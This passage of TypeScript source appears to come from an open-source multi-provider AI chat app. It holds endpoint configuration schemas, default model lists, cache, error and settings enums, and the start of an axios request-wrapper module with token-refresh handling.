fileConfigSchema.optional(),\n modelSpecs: specsConfigSchema.optional(),\n endpoints: z\n .object({\n all: baseEndpointSchema.optional(),\n [EModelEndpoint.openAI]: baseEndpointSchema.optional(),\n [EModelEndpoint.google]: baseEndpointSchema.optional(),\n [EModelEndpoint.anthropic]: anthropicEndpointSchema.optional(),\n [EModelEndpoint.azureOpenAI]: azureEndpointSchema.optional(),\n [EModelEndpoint.azureAssistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.assistants]: assistantEndpointSchema.optional(),\n [EModelEndpoint.agents]: agentsEndpointSchema.optional(),\n [EModelEndpoint.custom]: customEndpointsSchema.optional(),\n [EModelEndpoint.bedrock]: bedrockEndpointSchema.optional(),\n })\n .strict()\n .refine((data) => Object.keys(data).length > 0, {\n message: 'At least one `endpoints` field must be provided.',\n })\n .optional(),\n});\n\n/**\n * Recursively makes all properties of T optional, including nested objects.\n * Handles arrays, primitives, functions, and Date objects correctly.\n */\nexport type DeepPartial<T> = T extends (infer U)[]\n ? DeepPartial<U>[]\n : T extends ReadonlyArray<infer U>\n ? ReadonlyArray<DeepPartial<U>>\n : // eslint-disable-next-line @typescript-eslint/no-unsafe-function-type\n T extends Function\n ? T\n : T extends Date\n ? T\n : T extends object\n ? {\n [P in keyof T]?: DeepPartial<T[P]>;\n }\n : T;\n\nexport const getConfigDefaults = () => getSchemaDefaults(configSchema);\nexport type TCustomConfig = DeepPartial<z.infer<typeof configSchema>>;\nexport type TCustomEndpoints = z.infer<typeof customEndpointsSchema>;\n\nexport type TProviderSchema =\n | z.infer<typeof ttsOpenaiSchema>\n | z.infer<typeof ttsElevenLabsSchema>\n | z.infer<typeof ttsLocalaiSchema>\n | undefined;\n\nexport enum KnownEndpoints {\n anyscale = 'anyscale',\n apipie = 'apipie',\n cohere = 'cohere',\n fireworks = 'fireworks',\n deepseek = 'deepseek',\n moonshot = 'moonshot',\n groq = 'groq',\n helicone = 'helicone',\n huggingface = 'huggingface',\n mistral = 'mistral',\n mlx = 'mlx',\n ollama = 'ollama',\n openrouter = 'openrouter',\n perplexity = 'perplexity',\n shuttleai = 'shuttleai',\n 'together.ai' = 'together.ai',\n unify = 'unify',\n vercel = 'vercel',\n xai = 'xai',\n}\n\nexport enum FetchTokenConfig {\n openrouter = KnownEndpoints.openrouter,\n helicone = KnownEndpoints.helicone,\n}\n\nexport const defaultEndpoints: EModelEndpoint[] = [\n EModelEndpoint.openAI,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.agents,\n EModelEndpoint.google,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.bedrock,\n];\n\nexport const alternateName = {\n [EModelEndpoint.openAI]: 'OpenAI',\n [EModelEndpoint.assistants]: 'Assistants',\n [EModelEndpoint.agents]: 'My Agents',\n [EModelEndpoint.azureAssistants]: 'Azure Assistants',\n [EModelEndpoint.azureOpenAI]: 'Azure OpenAI',\n [EModelEndpoint.google]: 'Google',\n [EModelEndpoint.anthropic]: 'Anthropic',\n [EModelEndpoint.custom]: 'Custom',\n [EModelEndpoint.bedrock]: 'AWS Bedrock',\n [KnownEndpoints.ollama]: 'Ollama',\n [KnownEndpoints.deepseek]: 'DeepSeek',\n [KnownEndpoints.moonshot]: 'Moonshot',\n [KnownEndpoints.xai]: 'xAI',\n [KnownEndpoints.vercel]: 'Vercel',\n [KnownEndpoints.helicone]: 'Helicone',\n};\n\nconst sharedOpenAIModels = [\n 'gpt-5.4',\n // TODO: gpt-5.4-thinking may have separate reasoning token pricing — verify before release\n 'gpt-5.4-thinking',\n 'gpt-5.4-pro',\n 'gpt-5.1',\n 'gpt-5.1-chat-latest',\n 'gpt-5.1-codex',\n 'gpt-5.1-codex-mini',\n 'gpt-5',\n 'gpt-5-mini',\n 'gpt-5-nano',\n 'gpt-5-chat-latest',\n 'gpt-4.1',\n 'gpt-4.1-mini',\n 'gpt-4.1-nano',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4.5-preview',\n 'gpt-4.5-preview-2025-02-27',\n 'gpt-3.5-turbo',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-turbo-2024-04-09',\n 'gpt-4-0125-preview',\n 'gpt-4-turbo-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 'gpt-3.5-turbo-16k-0613',\n 'gpt-3.5-turbo-16k',\n 'gpt-4',\n 'gpt-4-0314',\n 'gpt-4-32k-0314',\n 'gpt-4-0613',\n 'gpt-3.5-turbo-0613',\n];\n\nconst sharedAnthropicModels = [\n 'claude-sonnet-4-6',\n 'claude-opus-4-6',\n 'claude-sonnet-4-5',\n 'claude-sonnet-4-5-20250929',\n 'claude-haiku-4-5',\n 'claude-haiku-4-5-20251001',\n 'claude-opus-4-1',\n 'claude-opus-4-1-20250805',\n 'claude-opus-4-5',\n 'claude-sonnet-4-20250514',\n 'claude-sonnet-4-0',\n 'claude-opus-4-20250514',\n 'claude-opus-4-0',\n 'claude-3-7-sonnet-latest',\n 'claude-3-7-sonnet-20250219',\n 'claude-3-5-haiku-20241022',\n 'claude-3-5-sonnet-20241022',\n 'claude-3-5-sonnet-20240620',\n 'claude-3-5-sonnet-latest',\n];\n\nexport const bedrockModels = [\n 'anthropic.claude-sonnet-4-6',\n 'anthropic.claude-opus-4-6-v1',\n 'anthropic.claude-sonnet-4-5-20250929-v1:0',\n 'anthropic.claude-haiku-4-5-20251001-v1:0',\n 'anthropic.claude-opus-4-1-20250805-v1:0',\n 'anthropic.claude-3-5-sonnet-20241022-v2:0',\n 'anthropic.claude-3-5-sonnet-20240620-v1:0',\n 'anthropic.claude-3-5-haiku-20241022-v1:0',\n // 'cohere.command-text-v14', // no conversation history\n // 'cohere.command-light-text-v14', // no conversation history\n 'cohere.command-r-v1:0',\n 'cohere.command-r-plus-v1:0',\n 'meta.llama2-13b-chat-v1',\n 'meta.llama2-70b-chat-v1',\n 'meta.llama3-8b-instruct-v1:0',\n 'meta.llama3-70b-instruct-v1:0',\n 'meta.llama3-1-8b-instruct-v1:0',\n 'meta.llama3-1-70b-instruct-v1:0',\n 'meta.llama3-1-405b-instruct-v1:0',\n 'mistral.mistral-7b-instruct-v0:2',\n 'mistral.mixtral-8x7b-instruct-v0:1',\n 'mistral.mistral-large-2402-v1:0',\n 'mistral.mistral-large-2407-v1:0',\n 'mistral.mistral-small-2402-v1:0',\n 'ai21.jamba-instruct-v1:0',\n // 'ai21.j2-mid-v1', // no streaming\n // 'ai21.j2-ultra-v1', no conversation history\n 'amazon.titan-text-lite-v1',\n 'amazon.titan-text-express-v1',\n 'amazon.titan-text-premier-v1:0',\n];\n\nexport const defaultModels = {\n [EModelEndpoint.azureAssistants]: sharedOpenAIModels,\n [EModelEndpoint.assistants]: [...sharedOpenAIModels, 'chatgpt-4o-latest'],\n [EModelEndpoint.agents]: sharedOpenAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.google]: [\n // Gemini 3.1 Models\n 'gemini-3.1-pro-preview',\n 'gemini-3.1-pro-preview-customtools',\n 'gemini-3.1-flash-lite-preview',\n // Gemini 3 Models\n 'gemini-3-pro-preview',\n 'gemini-3-flash-preview',\n // Gemini 2.5 Models\n 'gemini-2.5-pro',\n 'gemini-2.5-flash',\n 'gemini-2.5-flash-lite',\n // Gemini 2.0 Models\n 'gemini-2.0-flash-001',\n 'gemini-2.0-flash-lite',\n ],\n [EModelEndpoint.anthropic]: sharedAnthropicModels,\n [EModelEndpoint.openAI]: [\n ...sharedOpenAIModels,\n 'chatgpt-4o-latest',\n 'gpt-4-vision-preview',\n 'gpt-3.5-turbo-instruct-0914',\n 'gpt-3.5-turbo-instruct',\n ],\n [EModelEndpoint.bedrock]: bedrockModels,\n};\n\nconst fitlerAssistantModels = (str: string) => {\n return /gpt-4|gpt-3\\\\.5/i.test(str) && !/vision|instruct/i.test(str);\n};\n\nconst openAIModels = defaultModels[EModelEndpoint.openAI];\n\nexport const initialModelsConfig: TModelsConfig = {\n initial: [],\n [EModelEndpoint.openAI]: openAIModels,\n [EModelEndpoint.assistants]: openAIModels.filter(fitlerAssistantModels),\n [EModelEndpoint.agents]: openAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.azureOpenAI]: openAIModels,\n [EModelEndpoint.google]: defaultModels[EModelEndpoint.google],\n [EModelEndpoint.anthropic]: defaultModels[EModelEndpoint.anthropic],\n [EModelEndpoint.bedrock]: defaultModels[EModelEndpoint.bedrock],\n};\n\nexport const EndpointURLs = {\n [EModelEndpoint.assistants]: `${apiBaseUrl()}/api/assistants/v2/chat`,\n [EModelEndpoint.azureAssistants]: `${apiBaseUrl()}/api/assistants/v1/chat`,\n [EModelEndpoint.agents]: `${apiBaseUrl()}/api/${EModelEndpoint.agents}/chat`,\n} as const;\n\nexport const modularEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.custom,\n EModelEndpoint.agents,\n EModelEndpoint.bedrock,\n]);\n\nexport const supportsBalanceCheck = {\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.agents]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.bedrock]: true,\n [EModelEndpoint.google]: true,\n};\n\nexport const visionModels = [\n 'qwen-vl',\n 'grok-vision',\n 'grok-2-vision',\n 'grok-3',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4-turbo',\n 'gpt-4-vision',\n 'o4-mini',\n 'o3',\n 'o1',\n 'gpt-5',\n 'gpt-4.1',\n 'gpt-4.5',\n 'llava',\n 'llava-13b',\n 'gemini-pro-vision',\n 'claude-3',\n 'gemma',\n 'gemini-exp',\n 'gemini-1.5',\n 'gemini-2',\n 'gemini-2.5',\n 'gemini-3',\n 'moondream',\n 'llama3.2-vision',\n 'llama-3.2-11b-vision',\n 'llama-3-2-11b-vision',\n 'llama-3.2-90b-vision',\n 'llama-3-2-90b-vision',\n 'llama-4',\n 'claude-opus-4',\n 'claude-sonnet-4',\n 'claude-haiku-4',\n];\nexport enum VisionModes {\n generative = 'generative',\n agents = 'agents',\n}\n\nexport function validateVisionModel({\n model,\n additionalModels = [],\n availableModels,\n}: {\n model: string;\n additionalModels?: string[];\n availableModels?: string[];\n}) {\n if (!model) {\n return false;\n }\n\n if (model.includes('gpt-4-turbo-preview') || model.includes('o1-mini')) {\n return false;\n }\n\n if (availableModels && !availableModels.includes(model)) {\n return false;\n }\n\n return visionModels.concat(additionalModels).some((visionModel) => model.includes(visionModel));\n}\n\nexport const imageGenTools = new Set([\n 'dalle',\n 'dall-e',\n 'stable-diffusion',\n 'flux',\n 'gemini_image_gen',\n]);\n\n/**\n * Enum for collections using infinite queries\n */\nexport enum InfiniteCollections {\n /**\n * Collection for Prompt Groups\n */\n PROMPT_GROUPS = 'promptGroups',\n /**\n * Collection for Shared Links\n */\n SHARED_LINKS = 'sharedLinks',\n}\n\n/**\n * Enum for time intervals\n */\nexport enum Time {\n ONE_DAY = 86400000,\n TWELVE_HOURS = 43200000,\n ONE_HOUR = 3600000,\n THIRTY_MINUTES = 1800000,\n TEN_MINUTES = 600000,\n FIVE_MINUTES = 300000,\n THREE_MINUTES = 180000,\n TWO_MINUTES = 120000,\n ONE_MINUTE = 60000,\n THIRTY_SECONDS = 30000,\n}\n\n/**\n * Enum for cache keys.\n */\nexport enum CacheKeys {\n /**\n * Key for the config store namespace.\n */\n CONFIG_STORE = 'CONFIG_STORE',\n /**\n * Key for the tool cache namespace (plugins, MCP tools, tool definitions).\n */\n TOOL_CACHE = 'TOOL_CACHE',\n /**\n * Key for the roles cache.\n */\n ROLES = 'ROLES',\n /**\n * Key for the title generation cache.\n */\n GEN_TITLE = 'GEN_TITLE',\n /**\n * Key for the tools cache.\n */\n TOOLS = 'TOOLS',\n /**\n * Key for the model config cache.\n */\n MODELS_CONFIG = 'MODELS_CONFIG',\n /**\n * Key for the model queries cache.\n */\n MODEL_QUERIES = 'MODEL_QUERIES',\n /**\n * Key for the default startup config cache.\n */\n STARTUP_CONFIG = 'STARTUP_CONFIG',\n /**\n * Key for the default endpoint config cache.\n */\n ENDPOINT_CONFIG = 'ENDPOINT_CONFIG',\n /**\n * Key for accessing the model token config cache.\n */\n TOKEN_CONFIG = 'TOKEN_CONFIG',\n /**\n * Key for the app config namespace.\n */\n APP_CONFIG = 'APP_CONFIG',\n /**\n * Key for accessing Abort Keys\n */\n ABORT_KEYS = 'ABORT_KEYS',\n /**\n * Key for the bans cache.\n */\n BANS = 'BANS',\n /**\n * Key for the encoded domains cache.\n * Used by Azure OpenAI Assistants.\n */\n ENCODED_DOMAINS = 'ENCODED_DOMAINS',\n /**\n * Key for the cached audio run Ids.\n */\n AUDIO_RUNS = 'AUDIO_RUNS',\n /**\n * Key for in-progress messages.\n */\n MESSAGES = 'MESSAGES',\n /**\n * Key for in-progress flow states.\n */\n FLOWS = 'FLOWS',\n /**\n * Key for pending chat requests (concurrency check)\n */\n PENDING_REQ = 'PENDING_REQ',\n /**\n * Key for s3 check intervals per user\n */\n S3_EXPIRY_INTERVAL = 'S3_EXPIRY_INTERVAL',\n /**\n * key for open id exchanged tokens\n */\n OPENID_EXCHANGED_TOKENS = 'OPENID_EXCHANGED_TOKENS',\n /**\n * Key for OpenID session.\n */\n OPENID_SESSION = 'OPENID_SESSION',\n /**\n * Key for SAML session.\n */\n SAML_SESSION = 'SAML_SESSION',\n /**\n * Key for admin panel OAuth exchange codes (one-time-use, short TTL).\n */\n ADMIN_OAUTH_EXCHANGE = 'ADMIN_OAUTH_EXCHANGE',\n}\n\n/**\n * Enum for violation types, used to identify, log, and cache violations.\n */\nexport enum ViolationTypes {\n /**\n * File Upload Violations (exceeding limit).\n */\n FILE_UPLOAD_LIMIT = 'file_upload_limit',\n /**\n * Illegal Model Request (not available).\n */\n ILLEGAL_MODEL_REQUEST = 'illegal_model_request',\n /**\n * Token Limit Violation.\n */\n TOKEN_BALANCE = 'token_balance',\n /**\n * An issued ban.\n */\n BAN = 'ban',\n /**\n * TTS Request Limit Violation.\n */\n TTS_LIMIT = 'tts_limit',\n /**\n * STT Request Limit Violation.\n */\n STT_LIMIT = 'stt_limit',\n /**\n * Reset Password Limit Violation.\n */\n RESET_PASSWORD_LIMIT = 'reset_password_limit',\n /**\n * Verify Email Limit Violation.\n */\n VERIFY_EMAIL_LIMIT = 'verify_email_limit',\n /**\n * Verify Conversation Access violation.\n */\n CONVO_ACCESS = 'convo_access',\n /**\n * Tool Call Limit Violation.\n */\n TOOL_CALL_LIMIT = 'tool_call_limit',\n /**\n * General violation (catch-all).\n */\n GENERAL = 'general',\n /**\n * Login attempt violations.\n */\n LOGINS = 'logins',\n /**\n * Concurrent request violations.\n */\n CONCURRENT = 'concurrent',\n /**\n * Non-browser access violations.\n */\n NON_BROWSER = 'non_browser',\n /**\n * Message limit violations.\n */\n MESSAGE_LIMIT = 'message_limit',\n /**\n * Registration violations.\n */\n REGISTRATIONS = 'registrations',\n}\n\n/**\n * Enum for error message types that are not \"violations\" as above, used to identify client-facing errors.\n */\nexport enum ErrorTypes {\n /**\n * No User-provided Key.\n */\n NO_USER_KEY = 'no_user_key',\n /**\n * Expired User-provided Key.\n */\n EXPIRED_USER_KEY = 'expired_user_key',\n /**\n * Invalid User-provided Key.\n */\n INVALID_USER_KEY = 'invalid_user_key',\n /**\n * No Base URL Provided.\n */\n NO_BASE_URL = 'no_base_url',\n /**\n * Base URL targets a restricted or invalid address (SSRF protection).\n */\n INVALID_BASE_URL = 'invalid_base_url',\n /**\n * Moderation error\n */\n MODERATION = 'moderation',\n /**\n * Prompt exceeds max length\n */\n INPUT_LENGTH = 'INPUT_LENGTH',\n /**\n * Invalid request error, API rejected request\n */\n INVALID_REQUEST = 'invalid_request_error',\n /**\n * Invalid action request error, likely not on list of allowed domains\n */\n INVALID_ACTION = 'invalid_action_error',\n /**\n * Invalid request error, API rejected request\n */\n NO_SYSTEM_MESSAGES = 'no_system_messages',\n /**\n * Google provider returned an error\n */\n GOOGLE_ERROR = 'google_error',\n /**\n * Google provider does not allow custom tools with built-in tools\n */\n GOOGLE_TOOL_CONFLICT = 'google_tool_conflict',\n /**\n * Invalid Agent Provider (excluded by Admin)\n */\n INVALID_AGENT_PROVIDER = 'invalid_agent_provider',\n /**\n * Missing model selection\n */\n MISSING_MODEL = 'missing_model',\n /**\n * Models configuration not loaded\n */\n MODELS_NOT_LOADED = 'models_not_loaded',\n /**\n * Endpoint models not loaded\n */\n ENDPOINT_MODELS_NOT_LOADED = 'endpoint_models_not_loaded',\n /**\n * Generic Authentication failure\n */\n AUTH_FAILED = 'auth_failed',\n /**\n * Model refused to respond (content policy violation)\n */\n REFUSAL = 'refusal',\n /**\n * SSE stream 404 — job completed, expired, or was deleted before the subscriber connected\n */\n STREAM_EXPIRED = 'stream_expired',\n}\n\n/**\n * Enum for authentication keys.\n */\nexport enum AuthKeys {\n /**\n * Key for the Service Account to use Vertex AI.\n */\n GOOGLE_SERVICE_KEY = 'GOOGLE_SERVICE_KEY',\n /**\n * API key to use Google Generative AI.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n GOOGLE_API_KEY = 'GOOGLE_API_KEY',\n /**\n * API key to use Anthropic.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n ANTHROPIC_API_KEY = 'ANTHROPIC_API_KEY',\n}\n\n/**\n * Enum for Image Detail Cost.\n *\n * **Low Res Fixed Cost:** `85`\n *\n * **High Res Calculation:**\n *\n * Number of `512px` Tiles * `170` + `85` (Additional Cost)\n */\nexport enum ImageDetailCost {\n /**\n * Low resolution is a fixed value.\n */\n LOW = 85,\n /**\n * High resolution Cost Per Tile\n */\n HIGH = 170,\n /**\n * Additional Cost added to High Resolution Total Cost\n */\n // eslint-disable-next-line @typescript-eslint/no-duplicate-enum-values\n ADDITIONAL = 85,\n}\n\n/**\n * Tab values for Settings Dialog\n */\nexport enum SettingsTabValues {\n /**\n * Tab for General Settings\n */\n GENERAL = 'general',\n /**\n * Tab for Chat Settings\n */\n CHAT = 'chat',\n /**\n * Tab for Speech Settings\n */\n SPEECH = 'speech',\n /**\n * Tab for Beta Features\n */\n BETA = 'beta',\n /**\n * Tab for Data Controls\n */\n DATA = 'data',\n /**\n * Tab for Balance Settings\n */\n BALANCE = 'balance',\n /**\n * Tab for Account Settings\n */\n ACCOUNT = 'account',\n /**\n * Chat input commands\n */\n COMMANDS = 'commands',\n /**\n * Tab for Personalization Settings\n */\n PERSONALIZATION = 'personalization',\n}\n\nexport enum STTProviders {\n /**\n * Provider for OpenAI STT\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure STT\n */\n AZURE_OPENAI = 'azureOpenAI',\n}\n\nexport enum TTSProviders {\n /**\n * Provider for OpenAI TTS\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure OpenAI TTS\n */\n AZURE_OPENAI = 'azureOpenAI',\n /**\n * Provider for ElevenLabs TTS\n */\n ELEVENLABS = 'elevenlabs',\n /**\n * Provider for LocalAI TTS\n */\n LOCALAI = 'localai',\n}\n\n/** Enum for app-wide constants */\nexport enum Constants {\n /** Key for the app's version. */\n VERSION = 'v0.8.4',\n /** Key for the Custom Config's version (librechat.yaml). */\n CONFIG_VERSION = '1.3.6',\n /** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */\n NO_PARENT = '00000000-0000-0000-0000-000000000000',\n /** Standard value to use whatever the submission prelim. `responseMessageId` is */\n USE_PRELIM_RESPONSE_MESSAGE_ID = 'USE_PRELIM_RESPONSE_MESSAGE_ID',\n /** Standard value for the initial conversationId before a request is sent */\n NEW_CONVO = 'new',\n /** Standard value for the temporary conversationId after a request is sent and before the server responds */\n PENDING_CONVO = 'PENDING',\n /** Standard value for the conversationId used for search queries */\n SEARCH = 'search',\n /** Fixed, encoded domain length for Azure OpenAI Assistants Function name parsing. */\n ENCODED_DOMAIN_LENGTH = 10,\n /** Identifier for using current_model in multi-model requests. */\n CURRENT_MODEL = 'current_model',\n /** Common divider for text values */\n COMMON_DIVIDER = '__',\n /** Max length for commands */\n COMMANDS_MAX_LENGTH = 56,\n /** Default Stream Rate (ms) */\n DEFAULT_STREAM_RATE = 1,\n /** Saved Tag */\n SAVED_TAG = 'Saved',\n /** Max number of Conversation starters for Agents/Assistants */\n MAX_CONVO_STARTERS = 4,\n /** Delimiter for MCP tools */\n mcp_delimiter = '_mcp_',\n /** Prefix for MCP plugins */\n mcp_prefix = 'mcp_',\n /** Unique value to indicate all MCP servers. For backend use only. */\n mcp_all = 'sys__all__sys',\n /** Unique value to indicate clearing MCP servers from UI state. For frontend use only. */\n mcp_clear = 'sys__clear__sys',\n /** Key suffix for non-spec user default tool storage */\n spec_defaults_key = '__defaults__',\n /**\n * Unique value to indicate the MCP tool was added to an agent.\n * This helps inform the UI if the mcp server was previously added.\n * */\n mcp_server = 'sys__server__sys',\n /**\n * Handoff Tool Name Prefix\n */\n LC_TRANSFER_TO_ = 'lc_transfer_to_',\n /** Placeholder Agent ID for Ephemeral Agents */\n EPHEMERAL_AGENT_ID = 'ephemeral',\n /** Programmatic Tool Calling tool name */\n PROGRAMMATIC_TOOL_CALLING = 'run_tools_with_code',\n}\n\nexport enum LocalStorageKeys {\n /** Key for the admin defined App Title */\n APP_TITLE = 'appTitle',\n /** Key for the last conversation setup. */\n LAST_CONVO_SETUP = 'lastConversationSetup',\n /** Key for the last selected model. */\n LAST_MODEL = 'lastSelectedModel',\n /** Key for the last selected tools. */\n LAST_TOOLS = 'lastSelectedTools',\n /** Key for the last selected spec by name*/\n LAST_SPEC = 'lastSelectedSpec',\n /** Key for temporary files to delete */\n FILES_TO_DELETE = 'filesToDelete',\n /** Prefix key for the last selected assistant ID by index */\n ASST_ID_PREFIX = 'assistant_id__',\n /** Prefix key for the last selected agent ID by index */\n AGENT_ID_PREFIX = 'agent_id__',\n /** Key for the last selected fork setting */\n FORK_SETTING = 'forkSetting',\n /** Key for remembering the last selected option, instead of manually selecting */\n REMEMBER_FORK_OPTION = 'rememberDefaultFork',\n /** Key for remembering the split at target fork option modifier */\n FORK_SPLIT_AT_TARGET = 'splitAtTarget',\n /** Key for saving text drafts */\n TEXT_DRAFT = 'textDraft_',\n /** Key for saving file drafts */\n FILES_DRAFT = 'filesDraft_',\n /** Key for last Selected Prompt Category */\n LAST_PROMPT_CATEGORY = 'lastPromptCategory',\n /** Key for rendering User Messages as Markdown */\n ENABLE_USER_MSG_MARKDOWN = 'enableUserMsgMarkdown',\n /** Key for displaying analysis tool code input */\n SHOW_ANALYSIS_CODE = 'showAnalysisCode',\n /** Last selected MCP values per conversation ID */\n LAST_MCP_ = 'LAST_MCP_',\n /** Last checked toggle for Code Interpreter API per conversation ID */\n LAST_CODE_TOGGLE_ = 'LAST_CODE_TOGGLE_',\n /** Last checked toggle for Web Search per conversation ID */\n LAST_WEB_SEARCH_TOGGLE_ = 'LAST_WEB_SEARCH_TOGGLE_',\n /** Last checked toggle for File Search per conversation ID */\n LAST_FILE_SEARCH_TOGGLE_ = 'LAST_FILE_SEARCH_TOGGLE_',\n /** Last checked toggle for Artifacts per conversation ID */\n LAST_ARTIFACTS_TOGGLE_ = 'LAST_ARTIFACTS_TOGGLE_',\n /** Key for the last selected agent provider */\n LAST_AGENT_PROVIDER = 'lastAgentProvider',\n /** Key for the last selected agent model */\n LAST_AGENT_MODEL = 'lastAgentModel',\n /** Pin state for MCP tools per conversation ID */\n PIN_MCP_ = 'PIN_MCP_',\n /** Pin state for Web Search per conversation ID */\n PIN_WEB_SEARCH_ = 'PIN_WEB_SEARCH_',\n /** Pin state for Code Interpreter per conversation ID */\n PIN_CODE_INTERPRETER_ = 'PIN_CODE_INTERPRETER_',\n}\n\nexport enum ForkOptions {\n /** Key for direct path option */\n DIRECT_PATH = 'directPath',\n /** Key for including branches */\n INCLUDE_BRANCHES = 'includeBranches',\n /** Key for target level fork (default) */\n TARGET_LEVEL = 'targetLevel',\n /** Default option */\n DEFAULT = 'default',\n}\n\n/**\n * Enum for Cohere related constants\n */\nexport enum CohereConstants {\n /**\n * Cohere API Endpoint, for special handling\n */\n API_URL = 'https://api.cohere.ai/v1',\n /**\n * Role for \"USER\" messages\n */\n ROLE_USER = 'USER',\n /**\n * Role for \"SYSTEM\" messages\n */\n ROLE_SYSTEM = 'SYSTEM',\n /**\n * Role for \"CHATBOT\" messages\n */\n ROLE_CHATBOT = 'CHATBOT',\n /**\n * Title message as required by Cohere\n */\n TITLE_MESSAGE = 'TITLE:',\n}\n\nexport enum SystemCategories {\n ALL = 'sys__all__sys',\n MY_PROMPTS = 'sys__my__prompts__sys',\n NO_CATEGORY = 'sys__no__category__sys',\n SHARED_PROMPTS = 'sys__shared__prompts__sys',\n}\n\nexport const providerEndpointMap = {\n [EModelEndpoint.openAI]: EModelEndpoint.openAI,\n [EModelEndpoint.bedrock]: EModelEndpoint.bedrock,\n [EModelEndpoint.anthropic]: EModelEndpoint.anthropic,\n [EModelEndpoint.azureOpenAI]: EModelEndpoint.azureOpenAI,\n};\n\nexport const specialVariables = {\n current_date: true,\n current_user: true,\n iso_datetime: true,\n current_datetime: true,\n};\n\nexport type TSpecialVarLabel = `com_ui_special_var_${keyof typeof specialVariables}`;\n\n/**\n * Retrieves a specific field from the endpoints configuration for a given endpoint key.\n * Does not infer or default any endpoint type when absent.\n */\nexport function getEndpointField<\n K extends TConfig[keyof TConfig] extends never ? never : keyof TConfig,\n>(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: EModelEndpoint | string | null | undefined,\n property: K,\n): TConfig[K] | undefined {\n if (!endpointsConfig || endpoint === null || endpoint === undefined) {\n return undefined;\n }\n const config = endpointsConfig[endpoint];\n if (!config) {\n return undefined;\n }\n return config[property];\n}\n\n/**\n * Resolves the effective endpoint type:\n * - Non-agents endpoint: config.type || endpoint\n * - Agents + provider: config[provider].type || provider\n * - Agents, no provider: EModelEndpoint.agents\n *\n * Returns `undefined` when endpoint is null/undefined.\n */\nexport function resolveEndpointType(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n agentProvider?: string | null,\n): EModelEndpoint | string | undefined {\n if (!endpoint) {\n return undefined;\n }\n\n if (!isAgentsEndpoint(endpoint)) {\n return getEndpointField(endpointsConfig, endpoint, 'type') || endpoint;\n }\n\n if (agentProvider) {\n const providerType = getEndpointField(endpointsConfig, agentProvider, 'type');\n if (providerType) {\n return providerType;\n }\n return agentProvider;\n }\n\n return EModelEndpoint.agents;\n}\n\n/** Resolves the `defaultParamsEndpoint` for a given endpoint from its custom params config */\nexport function getDefaultParamsEndpoint(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n): string | undefined {\n if (!endpointsConfig || !endpoint) {\n return undefined;\n }\n return endpointsConfig[endpoint]?.customParams?.defaultParamsEndpoint;\n}\n","/* eslint-disable @typescript-eslint/no-explicit-any */\nimport axios, { AxiosError, AxiosRequestConfig } from 'axios';\nimport { setTokenHeader } from './headers-helpers';\nimport * as endpoints from './api-endpoints';\nimport type * as t from './types';\n\nasync function _get<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.get(url, { ...options });\n return response.data;\n}\n\nasync function _getResponse<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n return await axios.get(url, { ...options });\n}\n\nasync function _post(url: string, data?: any) {\n const response = await axios.post(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _postMultiPart(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n });\n return response.data;\n}\n\nasync function _postTTS(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n responseType: 'arraybuffer',\n });\n return response.data;\n}\n\nasync function _put(url: string, data?: any) {\n const response = await axios.put(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _delete<T>(url: string): Promise<T> {\n const response = await axios.delete(url);\n return response.data;\n}\n\nasync function _deleteWithOptions<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.delete(url, { ...options });\n return response.data;\n}\n\nasync function _patch(url: string, data?: any) {\n const response = await axios.patch(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nlet isRefreshing = false;\nlet failedQueue: { resolve: (value?: any) => void; reject: (reason?: any) => void }[] = [];\n\nconst refreshToken = (retry?: boolean): Promise<t.TRefreshTokenResponse | undefined> =>\n _post(endpoints.refreshToken(retry));\n\nconst dispatchTokenUpdatedEvent = (token: string) => {\n setTokenHeader(token);\n window.dispatchEvent(new CustomEvent('tokenUpdated', { detail: token }));\n};\n\nconst processQueue = (error: AxiosError | null, token: string | null = null) => {\n failedQueue.forEach((prom) => {\n if (error) {\n prom.reject(error);\n } else {\n prom.resolve(token);\n }\n });\n failedQueue = [];\n};\n\nif (typeof window !== 'undefined') {\n axios.interceptors.response.use(\n (response) => response,\n async (error) => {\n const originalRequest = error.config;\n if (!error.response) {\n return Promise.reject(error);\n }\n\n if (originalRequest.url?.includes('/api/auth/2fa') === true) {\n return Promise.reject(error);\n }\n if 